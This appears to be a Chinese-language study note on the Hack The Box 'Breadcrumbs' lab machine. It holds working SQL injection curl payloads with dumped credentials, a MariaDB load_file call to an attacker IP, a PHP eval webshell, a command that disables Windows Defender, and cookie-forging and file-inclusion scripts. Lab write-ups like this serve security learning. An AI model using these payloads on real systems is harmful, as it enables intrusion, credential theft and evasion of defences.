\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]|ManagedPosition=|0|0||Yellow|0|||||||0c32c3d8-7c60-48ae-939e-798df198cfe7|8e814e57-9d28-4288-961c-31c806338c5b|637423162765765332||637423163995607122
得到 development 用户的凭据。
根目录有 development 目录,其下有 Krypter_Linux 文件,strings 查看内容可以得到:
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
查看开放端口,可以发现 1234。
netstat -anto -p tcp | findstr 1234
TCP 127.0.0.1:1234 0.0.0.0:0 LISTENING 2748 InHost
这里上帝视角已经知道可以注入了
# kali
ssh -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no development@10.10.10.228 -L 127.0.0.1:1234:127.0.0.1:1234 -fN
Sql injection
curl.exe http://127.0.0.1:1234/index.php -d 'method=select&username=administrator&table=passwords'
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords' --data-urlencode "username=a' or 1=1 # "
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords' --data-urlencode "username=a' union select user() #"
passwordM@localhost
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords' --data-urlencode "username=a' union select database() #"
bread
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords' --data-urlencode "username=a' union select group_concat(table_name) from information_schema.tables #"
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords' --data-urlencode "username=a' union select table_name from information_schema.tables where table_schema='bread' #"
passwords
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords' --data-urlencode "username=a' union select group_concat(column_name) from information_schema.columns where table_schema='bread' #"
id,account,password,aes_key
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords' --data-urlencode "username=a' union select group_concat(id,':',account,':',password,':',aes_key) from passwords#"
1:Administrator:H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=:k19D193j.<19391(
再解密即可。
同时报错会显示路径。
Fatal error: Uncaught TypeError: mysqli_fetch_all(): Argument #1 ($result) must be of type mysqli_result, bool given in C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php:18 Stack trace: #0 C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php(18): mysqli_fetch_all(false, 1) #1 {main} thrown in C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php on line 18
其他尝试
但是数据库可以直接连接
MariaDB [(none)]> show variables like 'secure_file_priv';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.002 sec)
load data local infile "/windows/win.ini" into table test FIELDS TERMINATED BY '\n';
select load_file(concat('\\\\',version(),'10.10.16.10\\fake'));
select load_file(0x5c5c31302e31302e31362e31305c66616b65);
select 'osanda' into dumpfile '\\\\10.10.16.10\\fake';
select 'osanda' into outfile '\\programdata\test';
问题
理解正则
grep -oP '<td scope="row">\K[^<]*'
grep -oP '<td scope="row">([^<]*)' filename.html | sed 's/<td scope="row">//'
sed -n 's/<td scope="row">\([^<]*\)<\/td>/\1/p' filename.html
awk -F'<td scope="row">|</td>' '/<td scope="row">/ {print $2}' filename.html
看看别人如何想到查看 cookie.php
同样都是一步一步看包含文件
上传文件如何构造,本人是搭建一个上传环境上传抓包看。
总结 PHP 上传服务器文件的代码
如何检查文件,为什么无法上传成功
MYSQL
MySQL 为什么不同的用户显示的表不同
load_file 无法查看文件,但是 secure_file_priv 为空。
my.ini
my.ini 有两个位置
administrator@BREADCRUMBS C:\Program Files\MariaDB 10.5>dir /s my.ini
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Program Files\MariaDB 10.5\data
01/16/2021 12:21 PM 169 my.ini
1 File(s) 169 bytes
Directory of C:\Program Files\MariaDB 10.5\data\data
12/09/2020 03:23 PM 195 my.ini
1 File(s) 195 bytes
Total Files Listed:
2 File(s) 364 bytes
0 Dir(s) 6,508,847,104 bytes free
与 secure_file_priv 无关,应该是没有读取文件的权限,由于没有 MySQL root 用户密码也无法证实。
MySQL LOAD_FILE() loads null values - Stack Overflow
MySQL :: MySQL 5.7 Reference Manual :: 6.2.2 Privileges Provided by MySQL
当前用户没有 FILE 权限
secure_file_priv =
Get-Service | Where-Object {$_.Name -like "*MariaDB*"}
restart-service -name MariaDB
不同表的权限
.\mysql.exe -upasswordM -p'hWjSh812jDn1asd./213-91!#('
.\mysql.exe -ubread -pjUli901
MariaDB [(none)]> select password('jUli901');
+-------------------------------------------+
| password('jUli901') |
+-------------------------------------------+
| *92DEECF57A7FADB47886BB3257186D1D49AF711F |
+-------------------------------------------+
1 row in set (0.000 sec)
MariaDB [(none)]> show grants;
+--------------------------------------------------------------------------------------------------------------+
| Grants for bread@localhost |
+--------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `bread`@`localhost` IDENTIFIED BY PASSWORD '*92DEECF57A7FADB47886BB3257186D1D49AF711F' |
| GRANT SELECT ON `bread`.`books` TO `bread`@`localhost` |
| GRANT SELECT ON `bread`.`jwt` TO `bread`@`localhost` |
| GRANT SELECT, INSERT ON `bread`.`users` TO `bread`@`localhost` |
| GRANT SELECT ON `bread`.`issues` TO `bread`@`localhost` |
+--------------------------------------------------------------------------------------------------------------+
5 rows in set (0.000 sec)
MariaDB [(none)]> show grants;
+------------------------------------------------------------------------------------------------------------------+
| Grants for passwordM@localhost |
+------------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `passwordM`@`localhost` IDENTIFIED BY PASSWORD '*90CCDBE22C2B06DCED6AF5D2747AC6678CCB1ED2' |
| GRANT SELECT ON `bread`.`passwords` TO `passwordM`@`localhost` |
+------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.000 sec)
MariaDB [(none)]> select password('hWjSh812jDn1asd./213-91!#(');
+-------------------------------------------+
| password('hWjSh812jDn1asd./213-91!#(') |
+-------------------------------------------+
| *90CCDBE22C2B06DCED6AF5D2747AC6678CCB1ED2 |
+-------------------------------------------+
1 row in set (0.000 sec)
USAGE 无特权,没有读取权限
webshell上传失败
- 为什么第一个webshell失败,反弹shell后尝试同样的shell。
echo '<?php eval($_REQUEST[cmd]); ?>' > eval.php
登录后测试,原来是被杀毒软件杀掉了。

禁用后上传成功。
Set-MpPreference -DisableRealtimeMonitoring $true -Verbose

WriteUp
HTB Breadcrumbs Walkthrough IDA 逆向
HackTheBox-Writeups/Boxes/Breadcrumbs/README.md at main · f4T1H21/HackTheBox-Writeups 写的很好
writeup 中搜索 book 有结果,但是实际上操作的时候没有任何反应,可能与 GFW 有关。
cookie 改良
paul 用户生成 cookie 那里,有四种可能,运气好选中了正确的答案,实际上应该修改源码,将四种都打印出来。
<?php
function makesession($username, $seed){
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}
for ($x = 0; $x <= 3; $x++) {
print makesession('paul', $x);
echo "\n";
}
?>
scp 用法
scp juliette@10.10.10.228:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/* .
scp -r juliette@10.10.10.228:$(echo -E "C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState" | tr \\ "/") .
tr: warning: an unescaped backslash at end of string is not portable
tr \\\\ "/" or tr '\\' "/"
python script
decode
不用 json.loads 转化,直接解码
import requests, sys
file = "../" + sys.argv[1]
data = {'book': file, 'method': '1'}
r = requests.post('http://10.10.10.228/includes/bookController.php', data=data)
print(bytes(r.text, 'utf-8').decode('unicode_escape').strip('"').replace('\/','/'))
>>> myString = "spam\\neggs"
>>> decoded_string = bytes(myString, "utf-8").decode("unicode_escape") # python3
>>> decoded_string = myString.decode('string_escape') # python2
>>> print(decoded_string)
spam
eggs
python 转义特殊字符需要先编码再解码
>>> value = b's\\000u\\000p\\000p\\000o\\000r\\000t\\000@\\000p\\000s\\000i\\000l\\000o\\000c\\000.\\000c\\000o\\000m\\000'
>>> value.decode('unicode_escape').encode('latin1') # convert to bytes
b's\x00u\x00p\x00p\x00o\x00r\x00t\x00@\x00p\x00s\x00i\x00l\x00o\x00c\x00.\x00c\x00o\x00m\x00'
>>> _.decode('utf-16-le') # decode from UTF-16-LE
'support@psiloc.com'
Process escape sequences in a string in Python - Stack Overflow
How do I .decode(‘string-escape’) in Python 3? - Stack Overflow
if __name__ == "__main__":
if len(sys.argv) == 3:
files = re.findall(r'([a-zA-Z0-9\-\/]*\.php)', page)
cookie
#!/usr/bin/env python3
import hashlib
import requests
users = "alex,paul,jack,olivia,john,emma,william,lucas,sirine,juliette,support".split(",")
for user in users:
print(f"\r[*] Trying cookies for {user}" + 20*" ", end="", flush=True)
for c in user:
h = hashlib.md5(f"s4lTy_stR1nG_{c}(!528./9890".encode('utf-8')).hexdigest()
cookie = f"{user}{h}"
resp = requests.get('http://10.10.10.228/portal/index.php', cookies={"PHPSESSID": cookie})
if user in resp.text.lower():
print(f"\r[+] Found cookie for {user}: {cookie}")
print("\r" + 40*" ")
bash 算数
((...))语法可以进行整数的算术运算。算数扩展 Arithmetic Expansion
base#number:base进制的数。
echo "The decimal equivalent of '0x641' is: '$((16#641))'"
The decimal equivalent of '0x641' is: '1601'
ascii
| Ascii | Decimal |
| } | 125 |
| e | 101 |
|-------*---------|
| }*12 = 1500 |
|}*12+e = 1601 |
|~*12+Y = 1601 |
成功运行
./Krypter_Linux '}}}}}}}}}}}}e'
./Krypter_Linux '~~~~~~~~~~~~Y'
还有如下运行方式,没懂原理
./Krypter_Linux 000000000000000000000000000000566
ascii 0 的十进制是 48,总共 30个 0,然后 53+54+54。总和 1601。
>>> key = "not a good key"
>>> f'0x{sum([ord(y) for y in key]):x}'
'0x504'
jq
<<< bash here string
command line - What’s the difference between «, «< and < < in bash? - Ask Ubuntu
jq -R 'split(".") | .[0],.[1] | @base64d | fromjson' <<< eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI
逐段解释
echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".")'
[
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9",
"eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0",
"LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI"
]
split(regex; flags)
Splits an input string on the separator argument.
echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".") | .[0],.[1]'
选择数组索引 0,1
Array Index: .[<number>]
When the index value is an integer, .[<number>] can index arrays. Arrays are zero-based, so .[2] returns the third element.
Negative indices are allowed, with -1 referring to the last element, -2 referring to the next to last element, and so on.
echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".") | .[0],.[1] | @base64d'
@base64d: 内置 base64 解码
The inverse of @base64, input is decoded as specified by RFC 4648. Note: If the decoded string is not UTF-8, the results are undefined.
echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".") | .[0],.[1] | @base64d | fromjson'
- 将 JSON 文本解析为值。
Python Parses sticky note files
wal & shm
The -wal file is the Write-Ahead Log (WAL) file. The -shm file is the Shared-Memory file for the DB, providing memory for multiple processes accessing the database.
